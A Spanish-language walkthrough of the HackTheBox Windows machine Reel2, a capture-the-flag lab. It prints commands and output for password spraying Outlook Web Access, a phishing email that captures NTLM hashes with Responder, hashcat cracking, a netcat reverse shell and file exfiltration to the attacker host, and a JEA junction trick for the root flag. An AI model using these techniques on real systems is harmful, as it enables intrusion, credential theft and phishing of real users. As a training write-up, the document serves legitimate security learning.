Reel2 es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Reel2 10.10.10.210 a /etc/hosts como reel2.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
# Nmap 7.70 scan initiated Tue Dec 22 09:20:52 2020 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.210 Nmap scan report for 10.10.10.210 Host is up (0.050s latency). Not shown: 65519 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 |_http-server-header: Microsoft-IIS/8.5 |_http-title: 403 - Forbidden: Access is denied. 443/tcp open ssl/https? |_ssl-date: 2020-12-22T08:31:44+00:00; +3m27s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6002/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6004/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6005/tcp open msrpc Microsoft Windows RPC 6006/tcp open msrpc Microsoft Windows RPC 6007/tcp open msrpc Microsoft Windows RPC 6008/tcp open msrpc Microsoft Windows RPC 6010/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6011/tcp open msrpc Microsoft Windows RPC 6012/tcp open msrpc Microsoft Windows RPC 6165/tcp open msrpc Microsoft Windows RPC 6171/tcp open tcpwrapped 8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.32 |_http-title: Welcome | Wallstant Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 3m26s, deviation: 0s, median: 3m26s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Dec 22 09:29:46 2020 -- 1 IP address (1 host up) scanned in 533.63 seconds |
Observamos varios puertos abiertos en esta máquina, así que comenzaremos por los puertos 80, 443 y 8080 que disponen de portales web.
Enumeracion
Accedemos en primer lugar a través del puerto 80 y este nos da un error 403 (Acceso denegado):
Así que pasamos al siguiente y al acceder al puerto 443 observamos la página por defecto de IIS:
En este punto no disponemos de mucho más así que vamos a lanzar gobuster con la idea de descubrir los directorios existentes en el mismo y observamos lo siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$ gobuster dir -u https://10.10.10.210 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -k =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: https://10.10.10.210 [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/12/22 09:41:00 Starting gobuster =============================================================== /public (Status: 302) /exchange (Status: 302) /Public (Status: 302) /rpc (Status: 401) /owa (Status: 301) /Exchange (Status: 302) /ecp (Status: 301) /RPC (Status: 401) /ews (Status: 301) /PUBLIC (Status: 302) /exchweb (Status: 302) =============================================================== 2020/12/22 09:47:54 Finished =============================================================== |
Y observamos, entre otros, el directorio /owa bastante interesante a través del cual podemos loguearnos en outlook por lo que accedemos al mismo observando el siguiente portal de login:
Pero no disponemos de credenciales hasta este punto así que vamos a continuar y pasaremos a revisar ahora el portal existente en el puerto 8080 donde observamos el siguiente portal:
Se trata de wallstant, una red social basada en PHP y con licencia Open Source. Como no disponemos de credenciales tampoco en este punto, vamos a crear una cuenta en la red social y accederemos con los datos de nuestra cuenta observando la siguiente página de inicio de la aplicación:
En la red social observamos que hay una serie de posibles usuarios con los que tal vez podamos hacer algo en el portal de login de outlook que vimos anteriormente así que hacemos un diccionario con todos ellos:
1 2 3 4 5 6 7 8 9 10 11 12 |
sven svensson s.svensson lars larsson l.larsson jenny adams j.adams teresa trump t.trump |
Y revisamos los post creados por cada usuario y encontramos uno interesante en el usuario sven cuyo texto es el siguiente:
1 |
This summer is so hot! |
Así que vamos a crear un diccionario personalizado utilizando el dict de rockyou y la palabra summer que observamos en el post:
1 |
$ cat /usr/share/wordlists/rockyou.txt|grep -i summer > data/pass.txt |
Llegados a este punto probamos la fuerza bruta con algunas herramientas pero sin éxito así que vamos a google y encontramos una en particular para hacer ataques de fuerza bruta a portales owa llamada SprayingToolkit, así que descargamos la misma y procedemos a realizar el ataque:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ python3 atomizer.py owa 10.10.10.210 pass.txt users.txt -i 0:0:01 [*] Trying to find autodiscover URL [+] Using OWA autodiscover URL: https://10.10.10.210/autodiscover/autodiscover.xml [+] OWA domain appears to be hosted internally [+] Got internal domain name using OWA: HTB [*] Starting spray at 2020-12-22 09:03:27 UTC --- [-] Authentication failed: svensson:Summer2020 (Invalid credentials) [-] Authentication failed: sven:Summer2020 (Invalid credentials) [+] Found credentials: s.svensson:Summer2020 [-] Authentication failed: lars:Summer2020 (Invalid credentials) [-] Authentication failed: larsson:Summer2020 (Invalid credentials) [-] Authentication failed: l.larsson:Summer2020 (Invalid credentials) [-] Authentication failed: jenny:Summer2020 (Invalid credentials) [-] Authentication failed: j.adams:Summer2020 (Invalid credentials) [-] Authentication failed: teresa:Summer2020 (Invalid credentials) [-] Authentication failed: adams:Summer2020 (Invalid credentials) [-] Authentication failed: trump:Summer2020 (Invalid credentials) [-] Authentication failed: t.trump:Summer2020 (Invalid credentials) [+] Dumped 1 valid accounts to owa_valid_accounts.txt |
Y conseguimos un usuario y clave válidos:
1 |
s.svensson:Summer2020 |
Así que volvemos al portal owa visto anteriormente y tratamos de hacer login con las credenciales obtenidas, observando el siguiente portal:
Vemos que está en sueco, así que lo abrimos con chrome para poder traducirlo y verlo en inglés.
Buscamos en google alguna forma de poder explotar esto y encontramos que la forma es a través de phising y obtener las credenciales NTLM del usuario en nuestra escucha, y que está explicado en el siguiente post:
https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook
Así que para poder llevar a cabo nuestro ataque, lanzamos la escucha con responder como primer paso:
1 |
$ responder -I tun0 |
Y ahora vamoa a enviar el correo, seleccionaremos para ello a todos los contactos existentes en la libreta de direcciones del usuario y enviaremos como body nuestra ip como en el siguiente ejemplo:
1 |
http://10.10.x.x |
Enviamos el correo y a los pocos minutos obstenemos el hash de un usuario en nuestra escucha en responder:
1 2 3 4 |
[+] Listening for events... [HTTP] NTLMv2 Client : 10.10.10.210 [HTTP] NTLMv2 Username : htb\k.svensson [HTTP] NTLMv2 Hash : k.svensson::htb:6df2d3dbef9bb729:8D040F588903D5B2916C77ADE8D05DE5:0101000000000000C74D371BFFD8D601A567F16D532C2CD4000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C0008003000300000000000000000000000004000009D760A9201DDC2E5FE9AB0A3EDDDCEEE9AA30400BC8A692FEF9434401F282ABA0A0010000000000000000000000000000000000009001E0048005400540050002F00310030002E00310030002E00310034002E0033000000000000000000 |
Y utilizaremos hashcat para poder descifrar la misma:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force --- Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344320 * Bytes.....: 139920809 * Keyspace..: 14344320 K.SVENSSON::htb:6df2d3dbef9bb729:8d040f588903d5b2916c77ade8d05de5:0101000000000000c74d371bffd8d601a567f16d532c2cd4000000000200060053004d0042000100160053004d0042002d0054004f004f004c004b00490054000400120073006d0062002e006c006f00630061006c000300280073006500720076006500720032003000300033002e0073006d0062002e006c006f00630061006c000500120073006d0062002e006c006f00630061006c0008003000300000000000000000000000004000009d760a9201ddc2e5fe9ab0a3edddceee9aa30400bc8a692fef9434401f282aba0a0010000000000000000000000000000000000009001e0048005400540050002f00310030002e00310030002e00310034002e0033000000000000000000:kittycat1 Session..........: hashcat Status...........: Cracked Hash.Type........: NetNTLMv2 Hash.Target......: K.SVENSSON::htb:6df2d3dbef9bb729:8d040f588903d5b291...000000 Time.Started.....: Wed Dec 23 08:39:28 2020 (0 secs) Time.Estimated...: Wed Dec 23 08:39:28 2020 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 24508 H/s (4.27ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 8192/14344320 (0.06%) Rejected.........: 0/8192 (0.00%) Restore.Point....: 6144/14344320 (0.04%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: horoscope -> whitetiger --- |
Y ya tenemos un usuario y clave para poder acceder a la máquina:
1 |
k.svensson:kittycat1 |
Llegados a este punto, no podemos utilizar evil-winrm como hemos hecho en numerosas ocasiones así que tendremos que buscarnos la vida por otros medios, y en nuestro caso, nos conectaremos a la máquina por powershell.
En primer lugar necesitaremos instalar el mismo en nuestro kali:
1 2 |
sudo apt install gss-ntlmssp sudo apt-get install powershell |
Una vez instalado abriremos la consola de powershell:
1 2 3 4 5 6 |
$ pwsh PowerShell 7.0.0 Copyright (c) Microsoft Corporation. All rights reserved. https://aka.ms/powershell Type 'help' to get help. |
Y ejecutaremos los siguientes comandos:
1 2 3 4 5 6 7 8 9 |
PS /data/shared/htb/machines/todo/reel2.htb/keys> $session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiat e -Credential k.svensson PowerShell credential request Enter your credentials. Password for user k.svensson: ********* PS /data/shared/htb/machines/todo/reel2.htb/keys> Enter-PSSession $session [10.10.10.210]: P> |
Y ya estamos dentro con el usuario k.svensson.
Obteniendo la flag de user
Ahora que ya estamos dentro, nos vamos al escritorio del usuario y obtenemos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
[10.10.10.210]: PS>&{ cd ..\Desktop } [10.10.10.210]: P> &{dir} Directory: C:\Users\k.svensson\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 7/30/2020 1:19 PM 2428 Sticky Notes.lnk -ar--- 12/22/2020 12:58 PM 34 user.txt [10.10.10.210]: P> &{type user.txt} axxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf [10.10.10.210]: PS> |
Escalado de privilegios
Llegados a este punto, y por comodidad, vamos a subir nc a la máquina para poder disponer de una shell más cómoda en el sistema:
1 2 3 4 |
10.10.10.210]: P> &{ mkdir C:\temp} [10.10.10.210]: PS>&{ iwr -uri http://10.10.14.3:8000/nc.exe -o 'C:\temp\nc.exe'} [10.10.10.210]: P> &{ cd C:\temp } [10.10.10.210]: P> &{ .\nc.exe 10.10.14.3 4444 -e powershell.exe } |
Y obtenemos acceso en nuestra escucha con nc, donde además podemos ejecutar comandos sin complicaciones:
1 2 3 4 5 6 7 8 9 10 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.3] from reel2.htb [10.10.10.210] 10938 Windows PowerShell Copyright (C) 2016 Microsoft Corporation. All rights reserved. PS C:\temp> whoami whoami htb\k.svensson PS C:\temp> |
Procederemos entonces a enumerar el sistema y encontramos un fichero de log interesante:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 |
PS C:\> cmd /c 'dir /s /b *.log' cmd /c 'dir /s /b *.log' C:\ExchangeSetupLogs\ExchangeSetup.log C:\ExchangeSetupLogs\PreReqs\ExBPA.202007301206593424.log C:\ExchangeSetupLogs\PreReqs\ExBPA.202007301207103422.log C:\ExchangeSetupLogs\PreReqs\ExBPA.202007301207113735.log C:\ExchangeSetupLogs\PreReqs\ExBPA.202007301207132329.log C:\ExchangeSetupLogs\PreReqs\ExBPA.202007301207151861.log C:\ExchangeSetupLogs\PreReqs\ExBPA.202007301208045611.log C:\ExchangeSetupLogs\PreReqs\ExBPA.202007301208106705.log C:\ExchangeSetupLogs\PreReqs\ExBPA.202007301208123585.log C:\ExchangeSetupLogs\PreReqs\ExBPA.202007301208139985.log C:\ExchangeSetupLogs\PreReqs\ExBPA.202007301208158114.log C:\Program Files\Mozilla Firefox\install.log C:\Program Files\Mozilla Firefox\uninstall\uninstall.log C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice-1.log C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice-install.log C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log C:\Program Files (x86)\Mozilla Maintenance Service\UpdateLogs\308046B0AF4A39CB.log C:\ProgramData\Mozilla\updates\308046B0AF4A39CB\updates\backup-update.log C:\ProgramData\Mozilla\updates\308046B0AF4A39CB\updates\last-update.log C:\ProgramData\VMware\logs\vmmsi.log_20200728_173352.log C:\ProgramData\VMware\RawdskCompatibility\vmrawdsk.log C:\Users\All Users\Mozilla\updates\308046B0AF4A39CB\updates\backup-update.log C:\Users\All Users\Mozilla\updates\308046B0AF4A39CB\updates\last-update.log C:\Users\All Users\VMware\logs\vmmsi.log_20200728_173352.log C:\Users\All Users\VMware\RawdskCompatibility\vmrawdsk.log C:\Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V01.log C:\Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V010000A.log C:\Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V010000B.log C:\Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V010000C.log C:\Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V010000D.log C:\Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V010000E.log C:\Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V010000F.log C:\Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V0100010.log C:\Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log C:\Users\k.svensson\AppData\Local\Mozilla\Firefox\Profiles\5hx9aux9.default-release\cache2\index.log C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\000003.log C:\Windows\DtcInstall.log C:\Windows\iis.log C:\Windows\PFRO.log C:\Windows\setupact.log C:\Windows\setuperr.log C:\Windows\vmgcoinstall.log C:\Windows\WindowsUpdate.log C:\Windows\assembly\GAC_MSIL\System.IO.Log C:\Windows\assembly\NativeImages_v2.0.50727_32\System.IO.Log C:\Windows\assembly\NativeImages_v2.0.50727_64\System.IO.Log C:\Windows\assembly\NativeImages_v4.0.30319_32\System.IO.Log C:\Windows\assembly\NativeImages_v4.0.30319_64\System.IO.Log C:\Windows\Inf\setupapi.dev.log C:\Windows\Inf\setupapi.setup.log C:\Windows\Logs\CBS\CBS.log C:\Windows\Logs\CBS\CbsPersist_20201223000330.log C:\Windows\Logs\DISM\dism.log C:\Windows\Logs\DPX\setupact.log C:\Windows\Logs\DPX\setuperr.log C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Log C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.log C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.log C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.old.log C:\Windows\Panther\cbs.log C:\Windows\Panther\cbs_unattend.log C:\Windows\Panther\setupact.log C:\Windows\Panther\setuperr.log C:\Windows\Panther\FastCleanup\setupact.log C:\Windows\Panther\FastCleanup\setuperr.log C:\Windows\Panther\UnattendGC\setupact.log C:\Windows\Panther\UnattendGC\setuperr.log C:\Windows\security\database\edb.log C:\Windows\security\database\edb00004.log C:\Windows\security\database\edbtmp.log C:\Windows\security\logs\scedcpro.log C:\Windows\security\logs\scesetup.log C:\Windows\SoftwareDistribution\ReportingEvents.log C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log C:\Windows\SoftwareDistribution\DataStore\Logs\edb000F3.log C:\Windows\SoftwareDistribution\DataStore\Logs\edbtmp.log C:\Windows\WinSxS\poqexec.log C:\Windows\WinSxS\amd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_6.3.9600.16384_none_0a1162f033fa01f6\MSDTC.LOG C:\Windows\WinSxS\amd64_microsoft-windows-com-dtc-runtime_31bf3856ad364e35_6.3.9600.17415_none_0a5dfdcc33c06e7e\MSDTC.LOG C:\Windows\WinSxS\amd64_tsportalwebpart_31bf3856ad364e35_6.3.9600.16384_none_25545230c39231cd\allusers_tswa.log C:\Windows\WinSxS\amd64_tsportalwebpart_31bf3856ad364e35_6.3.9600.19599_none_254e432ac39613a2\allusers_tswa.log PS C:\> |
Situado en la home del usuario y con nombre 000003.log:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
PS C:\users\k.svensson\appdata\roaming\stickynotes\local storage\leveldb> dir dir Directory: C:\users\k.svensson\appdata\roaming\stickynotes\local storage\leveldb Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 11/25/2020 11:10 AM 2395 000003.log -a---- 7/30/2020 1:19 PM 16 CURRENT -a---- 7/30/2020 1:19 PM 0 LOCK -a---- 12/22/2020 1:01 PM 0 LOG -a---- 11/25/2020 11:10 AM 182 LOG.old -a---- 7/30/2020 1:19 PM 41 MANIFEST-000001 |
Pero no podemos ver el mismo desde esta consola así que utilizaremos nc para enviarlo a nuestro kali:
1 |
PS C:\temp> cmd /c '.\nc.exe 10.10.14.3 5555 < "C:\users\k.svensson\appdata\roaming\stickynotes\local storage\leveldb\000003.log"' |
Y lo recibimos con:
1 |
$ nc -lvp 5555 > data/000003.log |
Y utilizaremos el comando strings para ver el contenido del fichero:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 |
$ strings 000003.log VERSION META:app://. _app://. __storejs__test__Z META:app://. _app://. {"first":"<p>Credentials for JEA</p><p>jea_test_account:Ab!Q@vcg^%@#1</p>","back":"rgb(255, 242, 171)","title":"rgb(255, 235, 129)","wid":"350","hei":"375","deleted":"no","closed":"yes","locked":"no"} _app://. __storejs__test__ _app://. closed {"closed":"yes"} _app://. {"ids":"1"}y META:app://. _app://. __storejs__test__ _app://. closed @:lK META:app://. _app://. closed {"closed":"yes"} META:app://. _app://. __storejs__test__ _app://. closed META:app://. _app://. closed {"closed":"yes"} META:app://. _app://. __storejs__test__ _app://. closed META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__P META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__] META:app://. _app://. closed {"closed":"yes"} META:app://. _app://. __storejs__test__ _app://. closed: META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__b META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__N META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__ META:app://. _app://. __storejs__test__ |
Y encontramos unas credenciales de la cuenta de JEA:
1 |
{"first":"<p>Credentials for JEA</p><p>jea_test_account:Ab!Q@vcg^%@#1</p>","back":"rgb(255, 242, 171)","title":"rgb(255, 235, 129)","wid":"350","hei":"375","deleted":"no","closed":"yes","locked":"no"} |
Conociendo que este servicio se encuentra instalado en la máquina revisamos el comando básico de jea_test_account psrc y pssc y observamos que la función de Check-File se carga si el contenido es de C:\ProgramData por lo que crearemos un enlace simbólico del directorio ProgramData a la home del usuario Administrator para poder obtener nuestra flag.
Dicho esto, ejecutaremos el comando desde la sesión actual para crear el enlace simbólico:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
PS C:\users> New-Item -ItemType Junction -Path 'C:\ProgramData\root' -Target 'C:\Users\Administrator' New-Item -ItemType Junction -Path 'C:\ProgramData\root' -Target 'C:\Users\Administrator' Directory: C:\ProgramData Mode LastWriteTime Length Name ---- ------------- ------ ---- d----l 12/23/2020 9:59 AM root PS C:\users> |
Y posteriormente nos loguearemos por powershell con el usuario jea_test_account:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ pwsh PowerShell 7.0.0 Copyright (c) Microsoft Corporation. All rights reserved. https://aka.ms/powershell Type 'help' to get help. A new PowerShell stable release is available: v7.1.0 Upgrade now, or check out the release page at: https://aka.ms/PowerShell-Release?tag=v7.1.0 PS /data/shared/htb/machines/todo/reel2.htb/keys> $username = "jea_test_account" PS /data/shared/htb/machines/todo/reel2.htb/keys> $password = ConvertTo-SecureString "Ab!Q@vcg^%@#1" -AsPlainText -Force PS /data/shared/htb/machines/todo/reel2.htb/keys> $credential = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $password) PS /data/shared/htb/machines/todo/reel2.htb/keys> Enter-PSSession -Computer 10.10.10.210 -credential $credential -ConfigurationName jea_test_account -verbose -debug -Authentication Negotiate |
Obteniendo la flag de root
Ahora que estamos con la cuenta del usuario de jea, y que ya hemos creado el enlace simbólico de ProgramData a la home de Administrator ejecutamos el comando CheckFile para obtener nuestra flag:
1 2 3 |
[10.10.10.210]: PS>Check-File C:\ProgramData\root\Desktop\root.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxx7 [10.10.10.210]: PS> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace